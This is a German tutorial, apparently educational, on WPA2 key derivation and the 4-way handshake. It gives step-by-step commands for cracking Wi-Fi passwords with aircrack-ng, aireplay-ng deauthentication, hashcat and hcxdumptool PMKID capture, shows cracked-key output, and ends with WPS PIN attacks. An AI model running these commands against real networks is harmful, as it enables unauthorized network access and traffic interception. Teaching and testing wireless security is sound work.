Die Ableitung des PMKs erfolgt jedes Mal mit einem neuen MK. Verbindungsanfragen an den AP können nur über den Radius Server erfolgen, wodurch die entsprechenden Pakete direkt durchgeleitet werden. Dadurch ist es nicht möglich, durch das Abfangen von 4-Wege-Handshakes oder der PMKID in WPA2 Enterprise Mode geschützte Netzwerke einzudringen.
Schlüssel
Sowohl für das Etablieren als auch für die spätere Kommunikation werden verschiedenste Schlüssel verwendet. Dabei handelt es sich um synchrone Verschlüsselungen, d. h. beide Parteien verwenden die gleichen Schlüssel.
Der Pre-Shared Key (PSK) ist das vom Netzwerkbesitzer am Router festgelegte Passwort, welches dem Nutzern über andere Wege mitgeteilt wird (z. B. mündlich). Dabei handelt es sich um ein Shared Secret, welches für den Zugang zum Netzwerk benötigt wird. Der PSK wird nur im Personal Mode benötigt.
Pairwise Master Key
Der Pairwise Master Key (PMK) wird über die Password Based Key Derivation Function 2 (PBKDF2) berechnet. Im Personal Mode werden dabei als Argumente der PSK, die ESSID (Netzwerkname) des AP und die Länge der ESSID verwendet. Im Enterprise Mode wird der PMK temporär durch das Protokoll des Authentifizierungsserver gestellt. Der PMK wird zur Ableitung des Pairwise Transient Keys (PTK) verwendet.
Pairwise Transient Key
Der Pairwise Transient Key (PTK) ist 512 Bit lang und wird während des 4-Wege-Handshakes über eine Pseudozufallsfunktion (Pseudo Random Function = PRF) berechnet. Von ihm werden die temporären Schlüssel für die laufende Verschlüsselung der Nachrichten abgeleitet. Dazu wird der PTK in mehrere Teile zerlegt. Diese sind:
- der Key Confirmation Key (KCK, 128 Bits) - Für die Berechnung der Message Intergrity Codes (MIC) während des 4-Wege-Handshakes
- der Key Encryption Key(KEK, 128 Bits) - Zur Sicherstellung der Vertraulichkeit während des 4-Wege-Handshakes
- der Temporary Key (TK, 128 Bits) - Für die Verschlüsselung der Daten zwischen Client und AP
- der Temporary MIC Key AP (MIC Tx, 64-bit) - Zur Generierung der MIC über AP-seitige Pakete
- und der Temporary MIC Key Client (MIC Rx, 64 Bit) - Zur Generierung der MIC über Client-seitige Pakete
Der PTK wird für die Unicast-Kommunikation zwischen genau 2 Clienten verwendet und kann in regelmäßigen Abständen von ca. einer Stunde erneuert werden.
Groupwise Transient Key
Der Groupwise Transient Key (GTK) wird wie der PTK während des 4-Wege-Handshakes berechnet. Im Gegensatz zum PTK dient der GTK zur Multicast-Kommunikation zwischen mehreren Clienten. Die Wahl des Schlüssels erfolgt durch den AP. Durch die Wahl einer zufälligen GNonce durch den Server erhält jeder Client einen eigenen GTK.
4-Wege-Handshake
Der 4-Wege-Handshake wird zur Etablierung des gemeinsamen PTKs und des GTKs verwendet, mit welchen der Netzwerkverkehr verschlüsselt wird. Dabei werden vier Nachrichten zwischen Client und AP ausgetauscht. Der Handshake verwendet dazu das Extensible Authentication Protocol over Lan (EAPOL). Im Folgenden werden die einzelnen Schritte erklärt:
- Erste Nachricht: Der AP sendet eine von ihm generierte Zufallszahl ANonce an den Clienten.
- Der Client würfelt ebenfalls eine Zufallszahl SNonce und berechnet den PTK. Dieser wird wie folgt berechnet:
PTK = PRF(PMK + ANonce + SNonce + MAC-Adresse AP + MAC-Adresse Client)
- Zweite Nachricht: Der Client schickt seine SNonce und einen Message Integrity Code (MIC) über den Inhalt der zweiten Nachricht an den AP.
- Der AP berechnet ebenfalls den PTK und leitet daraus die weiteren temporären Schlüssel ab. Diese werden dazu verwendet, den mitgesendeten MIC zu überprüfen.
- Dritte Nachricht: Der AP übermittelt den GTK, die GTK-Sequenznummer sowie den zugehörigen MIC an den Clienten. Teile des PTK (der KEK) werden dazu verwendet, den GTK zu verschlüsseln.
- Vierte Nachricht: Der Client bestätigt den GTK, indem er die GTK-Sequenznummer und einen entsprechenden MIC an den AP sendet. Der AP überprüft den MIC und installiert den GTK.
Angriffsarten
Für den Angriff auf den WPA2 Personal Mode können verschiedene Methoden verwendet werden. Die Grundidee ist hierbei immer den PSK zu erraten. Falls er vom Besitzer/Betreiber des Netzwerkes zu schwach gewählt wurde, sind nur wenige Versuche notwendig. Brute-Force-Angriffe stellen hierbei die simpelste Angriffsvariante da. Dabei werden alle möglichen Kombinationen ausgetestet, bis das richtige Passwort gefunden wurde. Jedoch gibt weitere Angriffsmethoden, welche potenziell schneller das richtige Ergebnis liefern.
Wörterbuchangriff
Für den Wörterbuchangriff wird eine Passwortliste benötigt. Diese Listen enthalten z. B. Passwörter, welche durch vorherige Angriffe aller Art herausgefunden wurden, bzw. welche reale Benutzer bei verschiedensten Diensten oft verwendet haben. Es wird nun jedes Passwort dieser Liste als PSK ausprobiert. Ist das Passwort in der Liste enthalten, wird der Angriff auf kurz oder lang erfolgreich sein. Andernfalls bleibt der Wörterbuchangriff erfolglos. Passwortlisten können online heruntergeladen, eine frei zugängliche ist z.B unter https://github.com/danielmiessler/SecLists/tree/master/Passwords zu finden. Alternativ können auch Wörterbücher oder selbst generierte Listen (z. B. aus den Permutationen von anderen Listen erstellt) werden. Verbreitete Tools zum selber generieren sind John the Ripper (https://www.openwall.com/john/) und der Crunch Wordlist Generator (https://sourceforge.net/projects/crunch-wordlist/).
Reguläre Ausdrücke
Einige Tools lassen die Verwendung von regulären Ausdrücken bei Brute-Force-Angriffen zu. Hierbei muss mittels eines regulären Ausdrucks eine Vermutung über das Passwort angestellt werden, z.B. die Länge, die verwendeten Zeichen etc. Anschließend werden alle möglichen Kombinationen für den regulären Ausdruck berechnet. Dies ist für den Angreifer sehr rechenaufwendig und kann gerade bei starken Passwörtern sehr lange dauern.
Regelbasierter Angriff
Der regelbasierte Angriff ist eine spezielle Art des Wörterbuchangriffs. Hierbei werden nach bestimmten Regeln Permutationen der in der Liste enthaltenen Passwörter generiert.
Angriff über den 4-Wege-Handshake
Mittels des Brute-Force-Angriffs versucht der Angreifer das Zugangs-Passwort eines WLAN-Netzwerks, welches WPA-PSK verwendet, zu erhalten. Dazu muss der Angreifer einen erfolgreich durchgeführten 4-Wege-Handshake mitschneiden, der bei der Verbindung eines Gerätes mit dem Access Point durchgeführt wird. Daraufhin erfolgt der Brute-Force-Angriff über den durch den 4-Wege-Handshake etablierten PTK und die in der zweiten oder dritten Nachricht übertragene MIC.
Angriff
Der Brute-Force-Angriff auf WPA/WPA2 lässt sich in drei Phasen unterteilen. Hierbei sind die ersten zwei Phasen im Netzwerk auszuführen, die dritte kann offline erfolgen. Im Folgenden werden die einzelnen Phasen des Angriffs erklärt.
- Informationen über den anzugreifenden Access Point sammeln (ESSID, BSSID, Channel).
- Einen erfolgreichen 4-Wege-Handshake mitschneiden
- Deauthentifizierungs-Angriff
- Brute-Force-Angriff auf den mitgeschnitten 4-Wege-Handshake
Um den Angriff erfolgreich ausführen zu können, muss zuerst der anzugreifende Access Point ausgewählt werden. Dazu muss die Netzwerkkarte des Angreifers in den Monitoring-Modus versetzt werden. Ist dies geschehen, kann der Extended Service Set Identifier (ESSID) des Access Points, der Basic Service Set Identifier (BSSID) des Access Points sowie der Channel (Funkkanal) ermittelt werden. Wurden die benötigten Informationen gesammelt, kann somit der Netzwerkverkehr zwischen dem Access Point und anderen Geräten gezielt abgehört werden.
Im zweiten Schritt wird mittels der zuvor gesammelten Informationen die Kommunikation des Access Points belauscht. Es muss solange gewartet werden, bis ein neues Gerät erfolgreich in das WLAN-Netzwerk aufgenommen und dadurch der 4-Wege-Handshake durchgeführt wird. Dauert es zu lange, bis sich ein neues Gerät mit dem AP verbinden möchte, kann ein Deauthentifizierungs-Angriff durchgeführt werden. Dabei wird über die Netzwerkkarte des Angreifers die Reauthentifizierung aller mit dem anzugreifenden AP verbundenen Geräte erzwungen. Es besteht bei diesem Vorgehen jedoch eine Chance, durch die Benutzer des Netzwerks bemerkt zu werden.
Im dritten Schritt wird der Brute-Force-Angriff durchgeführt. Folgende Informationen sind nun durch den Handshake vorhanden:
- ANonce
- SNonce
- MAC Client
- BSSID
Es fehlt somit nur noch der verwendete PMK, um einen PTK zu berechnen. Um diesen zu erhalten, wird ein Brute-Force-Angriff ausgeführt, bei dem der PMK geraten wird. Mit dem geratenen PMK und den bereits vorhandenen Informationen lässt sich nun ein PTK berechnen und die Schlüssel MIC Tx und MIC Rx können abgeleitet werden. Anschließend muss die MIC über die SNonce oder den GTK berechnet werden. Stimmt diese mit der mitgeschnittenen MIC des 4-Wege-Handshakes überein, wurde der richtige PMK gefunden. Aus dem PMK kann der PSK berechnet werden. Damit wurde Passwort gefunden und der Angriff ist beendet.
Wörterbuchangriff mit AirCrack unter Linux
Folgende Voraussetzungen sind für den Angriff notwendig:
- AirCrack installieren:
$ sudo apt install aircrack-ng
- Die WLAN-Karte muss den Monitor-Modus unterstützen. Dies kann mittels
$ iw list
getestet werden.
Unter dem PunktSupported interfaces
sollte der Unterpunktmonitor
für die zu verwendende Netzwerkkarte aufgeführt sein. Falls die Interface den Modus nicht unterstützt, kann ein WiFi-Stick als Ausweich-Interface verwendet werden. - Eine Passwortliste muss lokal vorhanden sein.
WICHTIG: Wurde die neueste Version von AirCrack aircrack-zc
installiert, sind alternative Kommandos für den Angriff zu verwenden, da ansonsten die Monitoring-Schnittstelle nicht vollständig geöffnet wird. Dies ist besonders relevant, wenn AirCrack auf einem neueren Ubuntu-basierten Betriebssystem verwendet wird.
Vorbereitung
Zuerst muss alles für den Angriff vorbereitet werden. Dazu muss die für den Angriff verwendete Netzwerkkarte in den Monitoring-Modus versetzt werden. Dazu kann wie folgt vorgegangen werden:
1. Ermitteln des Interface-Namens der Netzwerkkarte:
$ iwconfig eth0 no wireless extensions. wlan0 IEEE 802.11 ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=off Retry short long limit:2 RTS thr:off Fragment thr:off Encryption key:off Power Management:off lo no wireless extensions.
2. WLAN-Karte in den Monitor-Modus versetzen:
$ sudo airmon-ng start wlan0
Alternativ:
$ sudo airmon-zc start wlan0
AirCrack überprüft beim Ausführen des Befehls, ob Prozesse existieren, die das Aktivieren des Monitoring-Modus verhindern. Werden welche gefunden, fragt AirCrack, ob diese abgebrochen werden sollen. Diese Frage kann mit Y
bestätigt werden. Andernfalls kann auch
$ sudo airmon-ng check kill
verwendet werden und anschließend der Startbefehl erneut durchgeführt werden.
3. Überprüfen des Interfaces:
Nun wird die Netzwerkkarte in den Monitoring-Modus versetzt. In diesem Beispiel ändert sich zudem der Interface-Name zu wlan0mon
.
$ iwconfig eth0 no wireless extensions. lo no wireless extensions. wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm Retry short long limit:2 RTS thr:off Fragment thr:off Power Management:off
Durchführung
1. Informationen sammeln
Zuerst müssen die benötigten Informationen über das anzugreifende Netzwerk gesammelt werden. Um eine Übersicht über alle empfangen Netzwerke zu bekommen wird folgender Befehl ausgeführt:
$ sudo airodump-ng wlan0mon CH 4 ][ Elapsed: 6 s ][ 2018-10-08 10:57 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 12:34:56:78:9A:BC -40 2 0 0 11 130 WPA2 CCMP PSK HackMe! 00:00:00:00:00:00 -41 2 0 0 11 130 WPA2 CCMP PSK FRITZ!Box Fon WLAN 11:11:11:11:11:11 -78 1 0 0 6 65 WPA2 CCMP PSK DIRECT-91-HP ENVY 22:22:22:22:22:22 -83 5 0 0 1 130 WPA2 CCMP PSK XT BSSID STATION PWR Rate Lost Frames Probe (not associated) 33:33:33:33:33:33 -90 0 - 1 0 1 GetOff (not associated) 44:44:44:44:44:44 -90 0 - 1 0 2 EasyBox
Nachdem der anzugreifende Access Point gefunden wurde, kann das Programm mit Strg + C abgebrochen werden. Nun haben wir die ersten notwendigen Informationen über den anzugreifenden Access Point erhalten, in diesem Fall:
- BSSID: 12:34:56:78:9A:BC
- CH: 11
- ESSID: HackMe!
2. Mitschneiden des 4-Wege-Handshakes
Nachdem nun alle notwendigen Informationen vorhanden sind, muss ein EAPOL-Frame des 4-Wege-Handshakes mitgeschnitten werden. Dieser wird automatisch in einer .cap-Datei gespeichert.
$ sudo airodump-ng --bssid 12:34:56:78:9A:BC -c 11 --write Logdatei wlan0mon CH 11 ][ Elapsed: 1 min ][ 2018-10-08 11:02 ][ WPA handshake: 36:31:C4:E BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER 12:34:56:78:9A:BC -42 90 235 31 0 11 130 WPA2 CCMP BSSID STATION PWR Rate Lost Frames Prob 12:34:56:78:9A:BC 00:11:22:33:44:55 -48 1e-48e 139 33
Wurde ein Handshake aufgenommen, erscheint oben rechts die Anzeige [WPA handshake:
. Ist dies erfolgt, kann das Programm mit Str + C abgebrochen werden.
Wird lange Zeit kein neuer Client mit dem Access Point verbunden, kann eine Deauthentifizierungs-Attacke durchgeführt werden. Durch diese Art von Angriff werden alle bereits verbundenen Clienten dazu gezwungen, sich bei dem Access Point neu zu authentifizieren, was hoffentlich zur Durchführung neuer Handshakes führt. Jedoch kann diese Art von Angriff durch den Benutzer bemerkt werden. Um den Angriff auszuführen, kann folgender Befehl verwendet werden:
$ sudo aireplay-ng --deauth 100 -a 12:34:56:78:9A:BC wlan0mon
3. Brute-Force-Angriff
Die im vorherigen Schritt erzeugte Logdatei-01.cap enthält nun einen EAPOL-Frame des 4-Wege-Handshakes mit allen notwendigen Informationen (ESSID, BSSID, MAC Client und MAC AP). Mit diesen Informationen kann der Brute-Force-Angriff durchgeführt werden, indem der fehlende PMK geraten wird. Die Ausgabe erfolgt in Plaintext.
$ sudo aircrack-ng Logdatei-01.cap -w /Pfad/Zur/Passwortliste.txt [00:00:00] 24/4799 keys tested (597.51 k/s) Time left: 7 seconds 0.58% KEY FOUND! [ 12345678 ] Master Key : CF 82 97 8B 37 2E 39 FE F5 73 95 59 45 A6 AE 01 1A C8 A3 A1 FA 61 3B AF EB 5E 85 E6 3B B7 89 5B Transient Key : 87 12 F7 00 02 E3 5D 1D C0 79 95 09 3E A7 C5 E4 48 3E B8 ED 01 28 A7 8A 2A F2 28 1D 6B 5D DA 71 A0 03 2E E5 4C C3 7A 9F 9F E3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 EAPOL HMAC : AF 9C A2 71 13 BD 66 7E BD 02 CE F1 88 27 4B 08
Angriff mit HashCat unter Windows
1. Handshake in einer .cap-Datei aufzeichnen
Über CommView oder Wireshark kann man mit einer geeigneten WiFi-Karte leicht einen 4-Wege-Handshake mitschneiden. Einen 4-Wege-Handshake erkennt man an aufgezeichneten EAPOL-Frames (siehe Bild).
ALTERNATIV kann man sich über netsh wlan show networks mode=bssid
alle verfügbaren Netzwerke mit der jeweiligen BSSID anzeigen lassen.
... SSID 17 : HackMe! Netzwerktyp : Infrastruktur Authentifizierung : WPA2-Personal Verschlüsselung : CCMP BSSIDD 1 : 12:34:56:78:9A:BC Signal : 82% Funktyp : 802.11ac Kanal : 11 Basisraten (MBit/s) : 1 2 5.5 6 11 12 24 Andere Raten (MBit/s) : 9 18 36 48 54 ...
Über airodump-ng -c9 --bssid 12:34:56:78:9A:BC -w psk HackMe!
kann man dann ebenfalls einen 4-Wege-Handshake mitschneiden.
2. .cap-Datei in HashCat-lesbare .hccapx-Datei umwandeln
Die Umwandlung kann auf verschieden Arten erfolgen: Entweder über das Web-Interface von HashCat (https://hashcat.net/cap2hccapx/) oder lokal über cap2hccapx
aus den hashcat-utils (https://github.com/hashcat/hashcat-utils).
3. Passwort über HashCat herausfinden
3 verschiedene Angriffsarten:
1. Wörterbuchangriff:
Zunächst brauch man ein Wörterbuch wie z.B. RockYou (http://downloads.skullsecurity.org/passwords/rockyou.txt.bz2). Mit folgender Batch-Datei kann man dann das WiFi-Passwort hacken:
$ hashcat.exe -m 2500 capture.hccapx rockyou.txt
Das Prädikat -m 2500
steht hierbei für den Hash-Modus WPA-EAPOL-PBKDF2.
2. Brute-Force Attack:
Mit der folgenden Batch-Datei kann man Passwörter der Länge 8 hacken, die nur aus Ziffern (?d) bestehen.
$ hashcat.exe -m 2500 -a3 capture.hccapx ?d?d?d?d?d?d?d?d
Das Prädikat -a3
steht hierbei für den Brute-Force-Attack-Modus.
3. Regelbasierter Angriff:
Mit folgendem regelbasierten Angriff kann man die in der Wörterbuchliste enthaltenen Wörter auf beliebige Weise permutieren.
$ hashcat.exe -m 2500 -r rules/best64.rule capture.hccapx rockyou.txt
PMKID-Angriff
Mit dem Entwurf des neuen WPA3-Standards wurden bei der Suche nach weiteren Angriffsmöglichkeiten Sicherheitslücken innerhalb des von WPA/WPA2 verwendeten 4-Wege-Handshakes gefunden. [1]
Dieser Angriff von 2018 baut, anders als der zuvor besprochene Angriff, nicht auf das Mitschneiden eines vollständigen 4-Wege-Handshakes auf. Bereits eine einzelne Nachricht des Handshakes reicht aus, da der AP hierbei direkt angegriffen wird. Es ist folglich nicht notwendig einen Nutzer zu belauschen, während er sich authentifiziert. Der Angriff setzt am Robust Security Network Information Element (RSN IE) an, ein optionales Feld innerhalb des 802.11 Management Frames.
Auch bei diesem Angriff wird mittels eines Brute-Force-Angriffs versucht, das Zugangspasswort eines WLAN-Netzwerks zu erhalten, welches WPA-PSK verwendet. Aufzeichnen muss der Angreifer dazu lediglich einen EAPOL-Frame, d. h. eine Nachricht des 4-Wege-Handshakes. Die Aufzeichnung enthält dabei den Pairwise Master Key Identifier (PMKID), welcher für den Angriff benötigt wird. Die PMKID setzt sich dabei wie folgt zusammen:
PMKID = HMAC-SHA1-128(PMK, ESSID | BSSID | MAC Client)
Durchführung
Der Angriff erfolgt in zwei Schritten:
- Verbindung zum anzugreifenden AP aufbauen
- Brute-Force-Angriff auf PMKID
Zuerst versucht sich der Angreifer mit dem anzugreifenden AP zu verbinden und erhält somit in der ersten Handshake-Nachricht den mitgesendeten PMKID. Da die Parameter
- ESSID
- BSSID
- MAC Client
- PMKID
nun bekannt sind, fehlt somit nur noch der verwendete PMK. Dieser PMK kann nun durch den Angriff erraten werden, indem mittels des oben vorgestellten Verfahrens zur Berechnung der PMKID versucht wird, eine Hash-Kollision zu finden. Wurde für einen geratenen PMK eine Kollision festgestellt, kann aus dem PMK der PSK zurückgerechnet werden. Damit ist der Angriff beendet und das Zugangspasswort gefunden.
Angriff über HashCat unter Linux (Kali)
Im Folgenden wird beispielhaft ein gezielter PMKID-Angriff auf einen festgelegten AP beschrieben. Im Allgemeinen erfolgt der Angriff mit den hier verwendeten Tools sonst auf irgendeinen der momentan verfügbaren APs.
Voraussetzungen
Für den Angriff werden folgende Tools benötigt:
- hcxdumptool v4.2 oder höher (https://github.com/ZerBea/hcxdumptool)
- hcxtools v4.2 oder höher (https://github.com/ZerBea/hcxtools)
- hashcat v4.2 oder höher (https://github.com/hashcat/hashcat)
- anzugreifende(r) Access Point(s) mit aktiviertem Roaming
Zudem wird ggf. eine Passwortliste benötigt, wenn der Angriff nicht über Reguläre Ausdrücke erfolgen soll.
Vorbereitungen
Um den Angriff ausführen zu können, muss das Ziel ermittelt und die Netzwerkkarte in den Monitor-Modus versetzt werden. Hierbei ist Schritt 1 (das Ermitteln des Ziels) optional. Wenn dieser Schritt nicht erfolgt, wird der erste AP, von dem eine PMKID empfangen wird, durch die hier verwendeten Tools angegriffen.
1. Anzugreifende(n) AP(s) ermitteln
$ sudo iwlist scanning
Das oben stehende Kommando gibt eine Liste aller momentan verfügbaren APs aus:
Cell 01 - Address: 12:34:56:78:9A:BC Channel:11 Frequency:2.437 GHz (Channel 6) Quality=63/70 Signal level=-47 dBm Encryption key:on ESSID:"HackMe!" Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s 9 Mb/s; 12 Mb/s; 18 Mb/s Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s Mode:Master Extra:tsf=002001efcf05618 Extra: Last beacon: 60ms ago IE: Unknown: 0017165249545A21426F78330466F6E20574C414EA03D336630 IE: Unknown: 01A800848B96$C325824 IE: Unknown: 030106 IE: Unknown: 070642452A028C14 IE: Unknown: 2A110B IE: Unknown: 3204C048A46C IE: Unknown: 2D1AAC011BFFFF000000000000000010000100000000000000000000 IE: Unknown: 3D1606001700000000000000000000010000000000000000 IE: Unknown: 7F080000004500000040 IE: Unknown: DD180050F20201120470B3A4000027A4001442535E0C62322FBB IE: Unknown: DD0902037F01011100EE7F IE: Unknown: DD0C04D41E010102010A610040902 IE: IEEE 802.11i/WPA2 Version 1 Group Cipher : TKIP Pairwise Ciphers (1) : CCMP Authentication Suites (1) : PSK IE: WPA Version 1 Group Cipher : TKIP Pairwise Ciphers (1) : TKIP Authentication Suites (1) : PSK IE: Unknown: DD70F204104A0001101044000102103B000103101942702CF2E02131F26D9F3DC73431C4E3A0261021000341564D1023000446426F1AB18D400043030303010420004303169931054000800060050F20400011011000446418338100800022388103C0001011049000600372A00001
Aus dieser Liste müssen nun der/die anzugreifenden APs ausgewählt und deren MAC-Adressen z. B. in der Datei filter.txt
gespeichert werden. Die Datei darf max. 32 MAC-Adressen groß sein, wobei in einer Zeile nur eine MAC-Adresse stehen darf. Beispiel:
123456789ABC
2. Netzwerkkarte in den Monitor-Modus versetzen
Zuerst muss die zu verwendende Netzwerkkarte ermittelt werden:
$ iwconfig eth0 no wireless extensions. wlan0 IEEE 802.11 ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=off Retry short long limit:2 RTS thr:off Fragment thr:off Encryption key:off Power Management:off lo no wireless extensions.
Um nun die Netzwerkkarte wlan0
in den Monitor-Modus zu versetzen, ist die Durchführung folgender Befehle notwendig:
$ sudo systemctl stop wpa_supplicant.service $ sudo systemctl stop network-manager.service $ sudo ip link set wlan0 down $ sudo iw dev wlan0 set type monitor $ sudo ip link set wlan0 up $ sudo iw dev
Wurden die Befehle durchgeführt, sollte nun folgende Ausgabe mittels iwconfig
erscheinen:
$ iwconfig eth0 no wireless extensions. lo no wireless extensions. wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm Retry short long limit:2 RTS thr:off Fragment thr:off Power Management:off
Wird nun Mode:Monitor
angegeben, sind die Vorbereitungen abgeschlossen. Zudem hat sich der Interfacename zu wlan0mon
geändert, dies ist für die folgende Durchführung relevant.
Durchführung
Im Folgenden werden die Schritte des Angriffs erklärt.
1. PMKID erfragen
Um den PMKID zu erfragen, wird das Tool hcxdumptool
verwendet:
$ sudo hcxdumptool -o test.pcapng -i wlan0mon --filtermode=2 --filterlist=filter.txt --enable_status=1 start capturing (stop with ctrl+c) INTERFACE:...............: wlan0mon FILTERLIST...............: 0 entries MAC CLIENT...............: 86a2a0e461f1 (client) MAC ACCESS POINT.........: 123456789ABC (start NIC) EAPOL TIMEOUT............: 20000 DEAUTHENTICATIONINTERVALL: 10 beacons GIVE UP DEAUTHENTICATIONS: 20 tries REPLAYCOUNTER............: 62083 ANONCE...................: 9ddca4288470946305b27d413a28cf674f19ff62c71667e5c1aee144cd50a63 [13:29:57 - 011] 86a2a0e461f1 -> 123456789ABC <ESSID> [ASSOCIATIONREQUEST, SEQUENCE 4] [13:29:57 - 011] 123456789ABC -> 86a2a0e461f1 [ASSOCIATIONRESPONSE, SEQUENCE 1206] [13:29:57 - 011] 123456789ABC -> 86a2a0e461f1 [FOUND PMKID]
Die Parameter haben folgende Bedeutung:
-o
: Ausgabedatei-i
: Das zum Anfragen zu verwendende Interface--filtermode=
: OPTIONAL - Gibt an, wie die Mac-Filterliste zu verwenden ist. 1 (default) = Alle AP auf der Liste ignorieren, 2 = Nur die AP der Liste beachten.--filterliste
: OPTIONAL - Pfad zu der erstellten Filterliste--enable_status
: Ausgabe des Programmstatus auf der Konsole. 1 (default) = aktiviert, 0 = deaktiviert.
Erscheint die Status-Ausgabe [FOUND PMKID]
kann das Programm mit Strg + C
beendet werden.
2. Datei für HashCat aufbereiten
Dieser Schritt dient dazu den Inhalt der pcap-Datei test.pcapng
in ein für HashCat akzepatbles Hash-Format zu überführen. Dazu wird folgender Befehl von hcxtools
verwendet:
$ sud hcxpcaptool -z test.16800 test.pcapng start reading from test.pcapng summary: -------- file name....................: test.pcapng file type....................: pcapng 1.0 file hardware information....: x86_64 file os information..........: Linux 4.17.11-arch1 file application information.: hcxdumptool 4.2.0 network type.................: DLT_IEEE802_11_RADIO (127) endianess....................: little endian read errors..................: flawless packets inside...............: 66 skipped packets..............: 0 packets with FCS.............: 0 beacons (with ESSID inside)..: 17 probe requests...............: 1 probe responses..............: 11 association requests.........: 5 association responses........: 5 authentications (OPEN SYSTEM): 13 authentications (BROADCOM)...: 1 EAPOL packets................: 14 EAPOL PMKIDs.................: 1 1 PMKID(s) written to test.16800
Der Inhalt der Datei test.16800
sollte wie folgt aussehen:
2582a8281bf9d4308d6f5731d0e61c61*123456789ABC*86a2a0e461f1*ed487162465a774bfba60eb603a39f3a
Dabei ist die Reihenfolge: PMKID*BSSID*MAC Client*ESSID
.
3.Passwort ermitteln
Nun wird HashCat dazu verwendet, das Passwort zu Brute-Forcen. Hierbei benutzen wir Reguläre Ausdrücke. HashCat benötigt dazu eine Grafikkarte. Ist keine Grafikkarte vorhanden, kann mittels --force
die Verwendung der CPU erzwungen werden.
$ sudo hashcat -m 16800 test.16800 -a 3 -w 3 '?l?l?l?l?l?lt!' hashcat (v4.2.0) starting... OpenCL Platform #1: NVIDIA Corporation ====================================== * Device #1: GeForce GTX 1050, 2028/4096 MB allocatable, 20MCU Hashes: 1 digests; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Applicable optimizers: * Zero-Byte * Single-Hash * Single-Salt * Brute-Force * Slow-Hash-SIMD-LOOP Minimum password length supported by kernel: 8 Maximum password length supported by kernel: 63 Watchdog: Temperature abort trigger set to 90c 2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465a774bfba60eb603a39f3a:hashcat! Session..........: hashcat Status...........: Cracked Hash.Type........: WPA-PMKID-PBKDF2 Hash.Target......: 2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf...a39f3a Time.Started.....: Thu Jul 26 12:51:38 2018 (41 secs) Time.Estimated...: Thu Jul 26 12:52:19 2018 (0 secs) Guess.Mask.......: ?l?l?l?l?l?lt! [8] Guess.Queue......: 1/1 (100.00%) Speed.Dev.#1.....: 408.9 kH/s (103.86ms) @ Accel:64 Loops:128 Thr:1024 Vec:1 Speed.Dev.#2.....: 408.6 kH/s (104.90ms) @ Accel:64 Loops:128 Thr:1024 Vec:1 Speed.Dev.#3.....: 412.9 kH/s (102.50ms) @ Accel:64 Loops:128 Thr:1024 Vec:1 Speed.Dev.#4.....: 410.9 kH/s (104.66ms) @ Accel:64 Loops:128 Thr:1024 Vec:1 Speed.Dev.#*.....: 1641.3 kH/s Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 66846720/308915776 (21.64%) Rejected.........: 0/66846720 (0.00%) Restore.Point....: 0/11881376 (0.00%) Candidates.#1....: hariert! -> hhzkzet! Candidates.#2....: hdtivst! -> hzxkbnt! Candidates.#3....: gnxpwet! -> gwqivst! Candidates.#4....: gxhcddt! -> grjmrut! HWMon.Dev.#1.....: Temp: 81c Fan: 54% Util: 75% Core:1771MHz Mem:4513MHz Bus:1 HWMon.Dev.#2.....: Temp: 81c Fan: 54% Util:100% Core:1607MHz Mem:4513MHz Bus:1 HWMon.Dev.#3.....: Temp: 81c Fan: 54% Util: 94% Core:1683MHz Mem:4513MHz Bus:1 HWMon.Dev.#4.....: Temp: 81c Fan: 54% Util: 93% Core:1620MHz Mem:4513MHz Bus:1 Started: Thu Jul 26 12:51:30 2018 Stopped: Thu Jul 26 12:52:21 2018
Soll eine Passwortliste anstelle Regulärer Ausdrücke gewünscht, ist folgender Befehl zu verwenden:
$ sudo hashcat -m 16800 test.16800 /Pfad/zur/Passwortliste
Die Ausgabe sollte ähnlich der obigen aussehen. Wurde das Passwort gefunden, erscheint eine Ausgabe ähnlich der folgenden:
2582a8281bf9d4308d6f5731d0e61c61*123456789ABC*86a2a0e461f1*ed487162465a774bfba60eb603a39f3a:hashcat!
In diesem Fall ist das Passwort hashcat!
.
Weitere Angriffe auf WPA2
Neben den bereits besprochenen Angriffen, gibt es zahlreiche weitere Möglichkeiten, WPA2-Netzwerke anzugreifen.
WPS
WPS wurde 2007 eingeführt, um die Verbindung von Client zum AP für den "Otto-Normal-Verbraucher" zu vereinfachen. In WPS gibt es 3 Modi:
- PIN: Eingabe 8-stelliger numerischer PIN
- PBC (Push Button Methode): Drücken eines Knopfes auf beiden Seiten (auf 2 Minuten begrenzt)
- NFC (Near Field Communication): Client baut Datenverbindung per NFC auf (z.B. bei Druckern) war bei einigen Routern standardmäßig aktiviert
Zunächst war WPS bei vielen Routern standardmäßig aktiviert. Da der PIN-Modus von WPS ist allerdings sehr leicht angreifbar ist, wurde die standardmäßige Aktivierung schon bald wieder rückgängig gemacht. Es ist bekannt, dass der PIN nur aus 8 Zahlen besteht. Zusätzlich bekommt man eine Bestätigung, ob die ersten 4 Ziffern korrekt sind. Die letzte Ziffer ist eine Prüfsumme. Somit braucht man nur 10^4 + 10^3
(also 11000) Kombinationen, um die korrekte PIN zu erraten. Ein Tool, das man für diesen Angriff verwenden kann, ist z. B. Reaver (https://code.google.com/archive/p/reaver-wps/).
KRACK
